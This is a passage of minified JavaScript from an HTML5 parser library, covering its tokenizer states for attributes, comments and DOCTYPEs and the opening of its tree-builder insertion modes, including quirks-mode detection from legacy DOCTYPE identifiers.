i=e.char();if(i===r.EOF)t._parseError(\"expected-attribute-name-but-got-eof\"),e.unget(i),t.setState(n);else{if(s(i))return!0;o(i)?(t._currentToken.data.push({nodeName:i.toLowerCase(),nodeValue:\"\"}),t.setState(R)):i===\">\"?t._emitCurrentToken():i===\"/\"?t.setState(K):i===\"'\"||i==='\"'||i===\"=\"||i===\"<\"?(t._parseError(\"invalid-character-in-attribute-name\"),t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data.push({nodeName:\"\\ufffd\",nodeValue:\"\"})):(t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R))}return!0}function R(e){var i=e.char(),u=!0,a=!1;i===r.EOF?(t._parseError(\"eof-in-attribute-name\"),e.unget(i),t.setState(n),a=!0):i===\"=\"?t.setState(z):o(i)?(t._currentAttribute().nodeName+=i.toLowerCase(),u=!1):i===\">\"?a=!0:s(i)?t.setState(U):i===\"/\"?t.setState(K):i===\"'\"||i==='\"'?(t._parseError(\"invalid-character-in-attribute-name\"),t._currentAttribute().nodeName+=i,u=!1):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeName+=\"\\ufffd\"):(t._currentAttribute().nodeName+=i,u=!1);if(u){var f=t._currentToken.data,l=f[f.length-1];for(var c=f.length-2;c>=0;c--)if(l.nodeName===f[c].nodeName){t._parseError(\"duplicate-attribute\",{name:l.nodeName}),l.nodeName=null;break}a&&t._emitCurrentToken()}else e.commit();return!0}function U(e){var i=e.char();if(i===r.EOF)t._parseError(\"expected-end-of-tag-but-got-eof\"),e.unget(i),t.setState(n);else{if(s(i))return!0;i===\"=\"?t.setState(z):i===\">\"?t._emitCurrentToken():o(i)?(t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R)):i===\"/\"?t.setState(K):i===\"'\"||i==='\"'||i===\"<\"?(t._parseError(\"invalid-character-after-attribute-name\"),t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data.push({nodeName:\"\\ufffd\",nodeValue:\"\"})):(t._currentToken.data.push({nodeName:i,nodeValue:\"\"}),t.setState(R))}return!0}function z(e){var i=e.char();if(i===r.EOF)t._parseError(\"expected-attribute-value-but-got-eof\"),e.unget(i),t.setState(n);else{if(s(i))return!0;i==='\"'?t.setState(W):i===\"&\"?(t.setState(V),e.unget(i)):i===\"'\"?t.setState(X):i===\">\"?(t._parseError(\"expected-attribute-value-but-got-right-bracket\"),t._emitCurrentToken()):i===\"=\"||i===\"<\"||i===\"`\"?(t._parseError(\"unexpected-character-in-unquoted-attribute-value\"),t._currentAttribute().nodeValue+=i,t.setState(V)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\"):(t._currentAttribute().nodeValue+=i,t.setState(V))}return!0}function W(e){var i=e.char();if(i===r.EOF)t._parseError(\"eof-in-attribute-value-double-quote\"),e.unget(i),t.setState(n);else if(i==='\"')t.setState(J);else if(i===\"&\")this._additionalAllowedCharacter='\"',t.setState($);else if(i===\"\\0\")t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\";else{var s=e.matchUntil('[\\0\"&]');i+=s,t._currentAttribute().nodeValue+=i}return!0}function X(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-attribute-value-single-quote\"),e.unget(i),t.setState(n)):i===\"'\"?t.setState(J):i===\"&\"?(this._additionalAllowedCharacter=\"'\",t.setState($)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\"):t._currentAttribute().nodeValue+=i+e.matchUntil(\"\\0|['&]\"),!0}function V(e){var i=e.char();if(i===r.EOF)t._parseError(\"eof-after-attribute-value\"),e.unget(i),t.setState(n);else if(s(i))t.setState(q);else if(i===\"&\")this._additionalAllowedCharacter=\">\",t.setState($);else if(i===\">\")t._emitCurrentToken();else if(i==='\"'||i===\"'\"||i===\"=\"||i===\"`\"||i===\"<\")t._parseError(\"unexpected-character-in-unquoted-attribute-value\"),t._currentAttribute().nodeValue+=i,e.commit();else if(i===\"\\0\")t._parseError(\"invalid-codepoint\"),t._currentAttribute().nodeValue+=\"\\ufffd\";else{var o=e.matchUntil(\"\\0|[\t\\n\u000b\\f \\r&<>\\\"'=`]\");o===r.EOF&&(t._parseError(\"eof-in-attribute-value-no-quotes\"),t._emitCurrentToken()),e.commit(),t._currentAttribute().nodeValue+=i+o}return!0}function $(e){var n=i.consumeEntity(e,t,this._additionalAllowedCharacter);return this._currentAttribute().nodeValue+=n||\"&\",this._additionalAllowedCharacter==='\"'?t.setState(W):this._additionalAllowedCharacter===\"'\"?t.setState(X):this._additionalAllowedCharacter===\">\"&&t.setState(V),!0}function J(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-after-attribute-value\"),e.unget(i),t.setState(n)):s(i)?t.setState(q):i===\">\"?(t.setState(n),t._emitCurrentToken()):i===\"/\"?t.setState(K):(t._parseError(\"unexpected-character-after-attribute-value\"),e.unget(i),t.setState(q)),!0}function K(e){var i=e.char();return i===r.EOF?(t._parseError(\"unexpected-eof-after-solidus-in-tag\"),e.unget(i),t.setState(n)):i===\">\"?(t._currentToken.selfClosing=!0,t.setState(n),t._emitCurrentToken()):(t._parseError(\"unexpected-character-after-solidus-in-tag\"),e.unget(i),t.setState(q)),!0}function Q(e){var r=e.matchUntil(\">\");return r=r.replace(/\\u0000/g,\"\\ufffd\"),e.char(),t._emitToken({type:\"Comment\",data:r}),t.setState(n),!0}function G(e){var n=e.shift(2);if(n===\"--\")t._currentToken={type:\"Comment\",data:\"\"},t.setState(Z);else{var i=e.shift(5);if(i===r.EOF||n===r.EOF)return t._parseError(\"expected-dashes-or-doctype\"),t.setState(Q),e.unget(n),!0;n+=i,n.toUpperCase()===\"DOCTYPE\"?(t._currentToken={type:\"Doctype\",name:\"\",publicId:null,systemId:null,forceQuirks:!1},t.setState(st)):t._tokenHandler.isCdataSectionAllowed()&&n===\"[CDATA[\"?t.setState(Y):(t._parseError(\"expected-dashes-or-doctype\"),e.unget(n),t.setState(Q))}return!0}function Y(e){var r=e.matchUntil(\"]]>\");return e.shift(3),r&&t._emitToken({type:\"Characters\",data:r}),t.setState(n),!0}function Z(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(et):i===\">\"?(t._parseError(\"incorrect-comment\"),t._emitToken(t._currentToken),t.setState(n)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"\\ufffd\"):(t._currentToken.data+=i,t.setState(tt)),!0}function et(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(rt):i===\">\"?(t._parseError(\"incorrect-comment\"),t._emitToken(t._currentToken),t.setState(n)):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"\\ufffd\"):(t._currentToken.data+=\"-\"+i,t.setState(tt)),!0}function tt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(nt):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"\\ufffd\"):(t._currentToken.data+=i,e.commit()),!0}function nt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment-end-dash\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\"-\"?t.setState(rt):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"-\\ufffd\",t.setState(tt)):(t._currentToken.data+=\"-\"+i+e.matchUntil(\"\\0|-\"),e.char()),!0}function rt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment-double-dash\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\">\"?(t._emitToken(t._currentToken),t.setState(n)):i===\"!\"?(t._parseError(\"unexpected-bang-after-double-dash-in-comment\"),t.setState(it)):i===\"-\"?(t._parseError(\"unexpected-dash-after-double-dash-in-comment\"),t._currentToken.data+=i):i===\"\\0\"?(t._parseError(\"invalid-codepoint\"),t._currentToken.data+=\"--\\ufffd\",t.setState(tt)):(t._parseError(\"unexpected-char-in-comment\"),t._currentToken.data+=\"--\"+i,t.setState(tt)),!0}function it(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-comment-end-bang-state\"),t._emitToken(t._currentToken),e.unget(i),t.setState(n)):i===\">\"?(t._emitToken(t._currentToken),t.setState(n)):i===\"-\"?(t._currentToken.data+=\"--!\",t.setState(nt)):(t._currentToken.data+=\"--!\"+i,t.setState(tt)),!0}function st(e){var i=e.char();return i===r.EOF?(t._parseError(\"expected-doctype-name-but-got-eof\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)?t.setState(ot):(t._parseError(\"need-space-after-doctype\"),e.unget(i),t.setState(ot)),!0}function ot(e){var i=e.char();return i===r.EOF?(t._parseError(\"expected-doctype-name-but-got-eof\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)||(i===\">\"?(t._parseError(\"expected-doctype-name-but-got-right-bracket\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):(o(i)&&(i=i.toLowerCase()),t._currentToken.name=i,t.setState(ut))),!0}function ut(e){var i=e.char();return i===r.EOF?(t._currentToken.forceQuirks=!0,e.unget(i),t._parseError(\"eof-in-doctype-name\"),t.setState(n),t._emitCurrentToken()):s(i)?t.setState(at):i===\">\"?(t.setState(n),t._emitCurrentToken()):(o(i)&&(i=i.toLowerCase()),t._currentToken.name+=i,e.commit()),!0}function at(e){var i=e.char();if(i===r.EOF)t._currentToken.forceQuirks=!0,e.unget(i),t._parseError(\"eof-in-doctype\"),t.setState(n),t._emitCurrentToken();else if(!s(i))if(i===\">\")t.setState(n),t._emitCurrentToken();else{if([\"p\",\"P\"].indexOf(i)>-1){var o=[[\"u\",\"U\"],[\"b\",\"B\"],[\"l\",\"L\"],[\"i\",\"I\"],[\"c\",\"C\"]],u=o.every(function(t){return i=e.char(),t.indexOf(i)>-1});if(u)return t.setState(ft),!0}else if([\"s\",\"S\"].indexOf(i)>-1){var o=[[\"y\",\"Y\"],[\"s\",\"S\"],[\"t\",\"T\"],[\"e\",\"E\"],[\"m\",\"M\"]],u=o.every(function(t){return i=e.char(),t.indexOf(i)>-1});if(u)return t.setState(vt),!0}e.unget(i),t._currentToken.forceQuirks=!0,i===r.EOF?(t._parseError(\"eof-in-doctype\"),e.unget(i),t.setState(n),t._emitCurrentToken()):(t._parseError(\"expected-space-or-right-bracket-in-doctype\",{data:i}),t.setState(wt))}return!0}function ft(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)?t.setState(lt):i===\"'\"||i==='\"'?(t._parseError(\"unexpected-char-in-doctype\"),e.unget(i),t.setState(lt)):(e.unget(i),t.setState(lt)),!0}function lt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):s(i)||(i==='\"'?(t._currentToken.publicId=\"\",t.setState(ct)):i===\"'\"?(t._currentToken.publicId=\"\",t.setState(ht)):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt))),!0}function ct(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):i==='\"'?t.setState(pt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):t._currentToken.publicId+=i,!0}function ht(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,e.unget(i),t.setState(n),t._emitCurrentToken()):i===\"'\"?t.setState(pt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t.setState(n),t._emitCurrentToken()):t._currentToken.publicId+=i,!0}function pt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)?t.setState(dt):i===\">\"?(t.setState(n),t._emitCurrentToken()):i==='\"'?(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.systemId=\"\",t.setState(gt)):i===\"'\"?(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.systemId=\"\",t.setState(yt)):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt)),!0}function dt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)||(i===\">\"?(t._emitCurrentToken(),t.setState(n)):i==='\"'?(t._currentToken.systemId=\"\",t.setState(gt)):i===\"'\"?(t._currentToken.systemId=\"\",t.setState(yt)):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt))),!0}function vt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)?t.setState(mt):i===\"'\"||i==='\"'?(t._parseError(\"unexpected-char-in-doctype\"),e.unget(i),t.setState(mt)):(e.unget(i),t.setState(mt)),!0}function mt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)||(i==='\"'?(t._currentToken.systemId=\"\",t.setState(gt)):i===\"'\"?(t._currentToken.systemId=\"\",t.setState(yt)):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),t.setState(n)):(t._parseError(\"unexpected-char-in-doctype\"),t._currentToken.forceQuirks=!0,t.setState(wt))),!0}function gt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):i==='\"'?t.setState(bt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),t.setState(n)):t._currentToken.systemId+=i,!0}function yt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):i===\"'\"?t.setState(bt):i===\">\"?(t._parseError(\"unexpected-end-of-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),t.setState(n)):t._currentToken.systemId+=i,!0}function bt(e){var i=e.char();return i===r.EOF?(t._parseError(\"eof-in-doctype\"),t._currentToken.forceQuirks=!0,t._emitCurrentToken(),e.unget(i),t.setState(n)):s(i)||(i===\">\"?(t._emitCurrentToken(),t.setState(n)):(t._parseError(\"unexpected-char-in-doctype\"),t.setState(wt))),!0}function wt(e){var i=e.char();return i===r.EOF?(e.unget(i),t._emitCurrentToken(),t.setState(n)):i===\">\"&&(t._emitCurrentToken(),t.setState(n)),!0}u.DATA=n,u.RCDATA=f,u.RAWTEXT=c,u.SCRIPT_DATA=p,u.PLAINTEXT=h,this._state=u.DATA,this._inputStream.append(e),this._tokenHandler.startTokenization(this),this._inputStream.eof=!0;var t=this;while(this._state.call(this,this._inputStream));},Object.defineProperty(u.prototype,\"lineNumber\",{get:function(){return this._inputStream.location().line}}),Object.defineProperty(u.prototype,\"columnNumber\",{get:function(){return this._inputStream.location().column}}),n.Tokenizer=u},{\"./EntityParser\":2,\"./InputStream\":3}],6:[function(e,t,n){function c(e){return e===\" \"||e===\"\\n\"||e===\"\t\"||e===\"\\r\"||e===\"\\f\"}function h(e){return c(e)||e===\"\\ufffd\"}function p(e){for(var t=0;t<e.length;t++){var n=e[t];if(!c(n))return!1}return!0}function d(e){for(var t=0;t<e.length;t++){var n=e[t];if(!h(n))return!1}return!0}function v(e,t){for(var n=0;n<e.attributes.length;n++){var r=e.attributes[n];if(r.nodeName===t)return r}return null}function m(e){this.characters=e,this.current=0,this.end=this.characters.length}function g(){this.tokenizer=null,this.errorHandler=null,this.scriptingEnabled=!1,this.document=null,this.head=null,this.form=null,this.openElements=new a,this.activeFormattingElements=[],this.insertionMode=null,this.insertionModeName=\"\",this.originalInsertionMode=\"\",this.inQuirksMode=!1,this.compatMode=\"no quirks\",this.framesetOk=!0,this.redirectAttachToFosterParent=!1,this.selfClosingFlagAcknowledged=!1,this.context=\"\",this.pendingTableCharacters=[],this.shouldSkipLeadingNewline=!1;var e=this,t=this.insertionModes={};t.base={end_tag_handlers:{\"-default\":\"endTagOther\"},start_tag_handlers:{\"-default\":\"startTagOther\"},processEOF:function(){e.generateImpliedEndTags(),e.openElements.length>2?e.parseError(\"expected-closing-tag-but-got-eof\"):e.openElements.length==2&&e.openElements.item(1).localName!=\"body\"?e.parseError(\"expected-closing-tag-but-got-eof\"):e.context&&e.openElements.length>1},processComment:function(t){e.insertComment(t,e.currentStackItem().node)},processDoctype:function(t,n,r,i){e.parseError(\"unexpected-doctype\")},processStartTag:function(e,t,n){if(this[this.start_tag_handlers[e]])this[this.start_tag_handlers[e]](e,t,n);else{if(!this[this.start_tag_handlers[\"-default\"]])throw new Error(\"No handler found for \"+e);this[this.start_tag_handlers[\"-default\"]](e,t,n)}},processEndTag:function(e){if(this[this.end_tag_handlers[e]])this[this.end_tag_handlers[e]](e);else{if(!this[this.end_tag_handlers[\"-default\"]])throw new Error(\"No handler found for \"+e);this[this.end_tag_handlers[\"-default\"]](e)}},startTagHtml:function(e,n){t.inBody.startTagHtml(e,n)}},t.initial=Object.create(t.base),t.initial.processEOF=function(){e.parseError(\"expected-doctype-but-got-eof\"),this.anythingElse(),e.insertionMode.processEOF()},t.initial.processComment=function(t){e.insertComment(t,e.document)},t.initial.processDoctype=function(t,n,r,i){function s(e){return n.toLowerCase().indexOf(e)===0}e.insertDoctype(t||\"\",n||\"\",r||\"\"),i||t!=\"html\"||n!=null&&([\"+//silmaril//dtd html pro v0r11 19970101//\",\"-//advasoft ltd//dtd html 3.0 aswedit + extensions//\",\"-//as//dtd html 3.0 aswedit + extensions//\",\"-//ietf//dtd html 2.0 level 1//\",\"-//ietf//dtd html 2.0 level 2//\",\"-//ietf//dtd html 2.0 strict level 1//\",\"-//ietf//dtd html 2.0 strict level 2//\",\"-//ietf//dtd html 2.0 strict//\",\"-//ietf//dtd html 2.0//\",\"-//ietf//dtd html 2.1e//\",\"-//ietf//dtd html 3.0//\",\"-//ietf//dtd html 3.0//\",\"-//ietf//dtd html 3.2 final//\",\"-//ietf//dtd html 3.2//\",\"-//ietf//dtd html 3//\",\"-//ietf//dtd html level 0//\",\"-//ietf//dtd html level 0//\",\"-//ietf//dtd html level 1//\",\"-//ietf//dtd html level 1//\",\"-//ietf//dtd html level 2//\",\"-//ietf//dtd html level 2//\",\"-//ietf//dtd html level 3//\",\"-//ietf//dtd html level 3//\",\"-//ietf//dtd html strict level 0//\",\"-//ietf//dtd html strict level 0//\",\"-//ietf//dtd html strict level 1//\",\"-//ietf//dtd html strict level 1//\",\"-//ietf//dtd html strict level 2//\",\"-//ietf//dtd html strict level 2//\",\"-//ietf//dtd html strict level 3//\",\"-//ietf//dtd html strict level 3//\",\"-//ietf//dtd html strict//\",\"-//ietf//dtd html strict//\",\"-//ietf//dtd html strict//\",\"-//ietf//dtd html//\",\"-//ietf//dtd html//\",\"-//ietf//dtd html//\",\"-//metrius//dtd metrius presentational//\",\"-//microsoft//dtd internet explorer 2.0 html strict//\",\"-//microsoft//dtd internet explorer 2.0 html//\",\"-//microsoft//dtd internet explorer 2.0 tables//\",\"-//microsoft//dtd internet explorer 3.0 html strict//\",\"-//microsoft//dtd internet explorer 3.0 html//\",\"-//microsoft//dtd internet explorer 3.0 tables//\",\"-//netscape comm. corp.//dtd html//\",\"-//netscape comm. corp.//dtd strict html//\",\"-//o'reilly and associates//dtd html 2.0//\",\"-//o'reilly and associates//dtd html extended 1.0//\",\"-//spyglass//dtd html 2.0 extended//\",\"-//sq//dtd html 2.0 hotmetal + extensions//\",\"-//sun microsystems corp.//dtd hotjava html//\",\"-//sun microsystems corp.//dtd hotjava strict html//\",\"-//w3c//dtd html 3 1995-03-24//\",\"-//w3c//dtd html 3.2 draft//\",\"-//w3c//dtd html 3.2 final//\",\"-//w3c//dtd html 3.2//\",\"-//w3c//dtd html 3.2s draft//\",\"-//w3c//dtd html 4.0 frameset//\",\"-//w3c//dtd html 4.0 transitional//\",\"-//w3c//dtd html experimental 19960712//\",\"-//w3c//dtd html experimental 970421//\",\"-//w3c//dtd w3 html//\",\"-//w3o//dtd w3 html 3.0//\",\"-//webtechs//dtd mozilla html 2.0//\",\"-//webtechs//dtd mozilla html//\",\"html\"].some(s)||[\"-//w3o//dtd w3 html strict 3.0//en//\",\"-/w3c/dtd html 4.0 transitional/en\",\"html\"].indexOf(n.toLowerCase())>-1||r==null&&[\"-//w3c//dtd html 4.01 transitional//\",\"-//w3c//dtd html 4.01 frameset//\"].some(s))||r!=null&&r.toLowerCase()==\"http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd\"?(e.compatMode=\"quirks\",e.parseError(\"quirky-doctype\")):n!=null&&([\"-//w3c//dtd xhtml 1.0 transitional//\",\"-//w3c//dtd xhtml 1.0 frameset//\"].some(s)||r!=null&&[\"-//w3c//dtd html 4.01 transitional//\",\"-//w3c//dtd html 4.01 frameset//\"].indexOf(n.toLowerCase())>-1)?(e.compatMode=\"limited quirks\",e.parseError(\"almost-standards-doctype\")):n==\"-//W3C//DTD HTML 4.0//EN\"&&(r==null||r==\"http://www.w3.org/TR/REC-html40/strict.dtd\")||n==\"-//W3C//DTD HTML 4.01//EN\"&&(r==null||r==\"http://www.w3.org/TR/html4/strict.dtd\")||n==\"-//W3C//DTD XHTML 1.0 Strict//EN\"&&r==\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"||n==\"-//W3C//DTD XHTML 1.1//EN\"&&r==\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\"||(r!=null&&r!=\"about:legacy-compat\"||n!=null)&&e.parseError(\"unknown-doctype\"),e.setInsertionMode(\"beforeHTML\")},t.initial.processCharacters=function(t){t.skipLeadingWhitespace();if(!t.length)return;e.parseError(\"expected-doctype-but-got-chars\"),this.anythingElse(),e.insertionMode.processCharacters(t)},t.initial.processStartTag=function(t,n,r){e.parseError(\"expected-doctype-but-got-start-tag\",{name:t}),this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.initial.processEndTag=function(t){e.parseError(\"expected-doctype-but-got-end-tag\",{name:t}),this.anythingElse(),e.insertionMode.processEndTag(t)},t.initial.anythingElse=function(){e.compatMode=\"quirks\",e.setInsertionMode(\"beforeHTML\")},t.beforeHTML=Object.create(t.base),t.beforeHTML.start_tag_handlers={html:\"startTagHtml\",\"-default\":\"startTagOther\"},t.beforeHTML.processEOF=function(){this.anythingElse(),e.insertionMode.processEOF()},t.beforeHTML.processComment=function(t){e.insertComment(t,e.document)},t.beforeHTML.processCharacters=function(t){t.skipLeadingWhitespace();if(!t.length)return;this.anythingElse(),e.insertionMode.processCharacters(t)},t.beforeHTML.startTagHtml=function(t,n,r){e.insertHtmlElement(n),e.setInsertionMode(\"beforeHead\")},t.beforeHTML.startTagOther=function(t,n,r){this.anythingElse(),e.insertionMode.processStartTag(t,n,r)},t.beforeHTML.processEndTag=function(t){this.anythingElse(),e.insertionMode.processEndTag(t)},t.beforeHTML.anythingElse=function(){e.insertHtmlElement(),e.setInsertionMode(\"beforeHead\")},t.afterAfterBody=Object.create(t.base),t.afterAfterBody.start_tag_handlers={html:\"startTagHtml\",\"-default\":\"startTagOther\"},t.afterAfterBody.processComment=function(t){e.insertComment(t,e.document)},t.afterAfterBody.processDoctype=function(e){t.inBody.processDoctype(e)},t.afterAfterBody.startTagHtml=function(e,n){t.inBody.startTagHtml(e,n)},t.afterAfterBody.startTagOther=function(t,n,r){e.parseError(\"unexpected-start-tag\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processStartTag(t,n,r)},t.afterAfterBody.endTagOther=function(t){e.parseError(\"unexpected-end-tag\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processEndTag(t)},t.afterAfterBody.processCharacters=function(n){if(!p(n.characters))return e.parseError(\"unexpected-char-after-body\"),e.setInsertionMode(\"inBody\"),e.insertionMode.processCharacters(n);t.inBody.processCharacters(n)},t.afterBody=Object.create(t.base),t.afterBody.end_tag_handlers={html:\"endTagHtml\",\"-default\":\"endTagOther\"},t.afterBody.processComment=function(t){e.insertComment(t,e.openElements.rootNode)},t.afterBody.processCharacters=function(n){if(!p(n.characters))return e.parseError(\"unexpected-char-after-body\"),e.setInsertionMode(\"inBody\"),e.insertionMode.processCharacters(n);t.inBody.processCharacters(n)},t.afterBody.processStartTag=function(t,n,r){e.parseError(\"unexpected-start-tag-after-body\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processStartTag(t,n,r)},t.afterBody.endTagHtml=function(t){e.context?e.parseError(\"end-html-in-innerhtml\"):e.setInsertionMode(\"afterAfterBody\")},t.afterBody.endTagOther=function(t){e.parseError(\"unexpected-end-tag-after-body\",{name:t}),e.setInsertionMode(\"inBody\"),e.insertionMode.processEndTag(t)},t.afterFrameset=Object.create(t.base),t.afterFrameset.start_tag_handlers={html:\"startTagHtml\",noframes:\"startTagNoframes\",\"-default\":\"startTagOther\"},t.afterFrameset.end_tag_handlers={html:\"endTagHtml\",\"-default\":\"endTagOther\"},t.afterFrameset.processCharacters=function(t){var n=t.takeRemaining(),r=\"\";for(var i=0;i<n.length;i++){var s=n[i];c(s)&&(r+=s)}r&&e.insertText(r),r.length<n.length&&e.parseError(\"expected-eof-but-got-char\")},t.afterFrameset.startTagNoframes=function(e,n){t.inHead.processStartTag(e,n)},t.afterFrameset.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-after-frameset\",{name:t})},t.afterFrameset.endTagHtml=function(t){e.setInsertionMode(\"afterAfterFrameset\")},t.afterFrameset.endTagOther=function(t){e.parseError(\"unexpected-end-tag-after-frameset\",{name:t})},t.beforeHead=Object.create(t.base),t.beforeHead.start_tag_handlers={html:\"startTagHtml\",head:\"startTagHead\",\"-default\":\"startTagOther\"},t.beforeHead.end_tag_handlers={html:\"endTagImplyHead\",head:\"endTagImplyHead\",body:\"endTagImplyHead\",br:\"endTagImplyHead\",\"-default\":\"endTagOther\"},t.beforeHead.processEOF=function(){this.startTagHead(\"head\",[]),e.insertionMode.processEOF()},t.beforeHead.processCharacters=function(t){t.skipLeadingWhitespace();if(!t.length)return;this.startTagHead(\"head\",[]),e.insertionMode.processCharacters(t)},t.beforeHead.startTagHead=function(t,n){e.insertHeadElement(n),e.setInsertionMode(\"inHead\")},t.beforeHead.startTagOther=function(t,n,r){this.startTagHead(\"head\",[]),e.insertionMode.processStartTag(t,n,r)},t.beforeHead.endTagImplyHead=function(t){this.startTagHead(\"head\",[]),e.insertionMode.processEndTag(t)},t.beforeHead.endTagOther=function(t){e.parseError(\"end-tag-after-implied-root\",{name:t})},t.inHead=Object.create(t.base),t.inHead.start_tag_handlers={html:\"startTagHtml\",head:\"startTagHead\",title:\"startTagTitle\",script:\"startTagScript\",style:\"startTagNoFramesStyle\",noscript:\"startTagNoScript\",noframes:\"startTagNoFramesStyle\",base:\"startTagBaseBasefontBgsoundLink\",basefont:\"startTagBaseBasefontBgsoundLink\",bgsound:\"startTagBaseBasefontBgsoundLink\",link:\"startTagBaseBasefontBgsoundLink\",meta:\"startTagMeta\",\"-default\":\"startTagOther\"},t.inHead.end_tag_handlers={head:\"endTagHead\",html:\"endTagHtmlBodyBr\",body:\"endTagHtmlBodyBr\",br:\"endTagHtmlBodyBr\",\"-default\":\"endTagOther\"},t.inHead.processEOF=function(){var t=e.currentStackItem().localName;[\"title\",\"style\",\"script\"].indexOf(t)!=-1&&(e.parseError(\"expected-named-closing-tag-but-got-eof\",{name:t}),e.popElement()),this.anythingElse(),e.insertionMode.processEOF()},t.inHead.processCharacters=function(t){var n=t.takeLeadingWhitespace();n&&e.insertText(n);if(!t.length)return;this.anythingElse(),e.insertionMode.processCharacters(t)},t.inHead.startTagHtml=function(e,n){t.inBody.processStartTag(e,n)},t.inHead.startTagHead=function(t,n){e.parseError(\"two-heads-are-not-better-than-one\")},t.inHead.startTagTitle=function(t,n){e.processGenericRCDATAStartTag(t,n)},t.inHead.startTagNoScript=function(t,n){if(e.scriptingEnabled)return 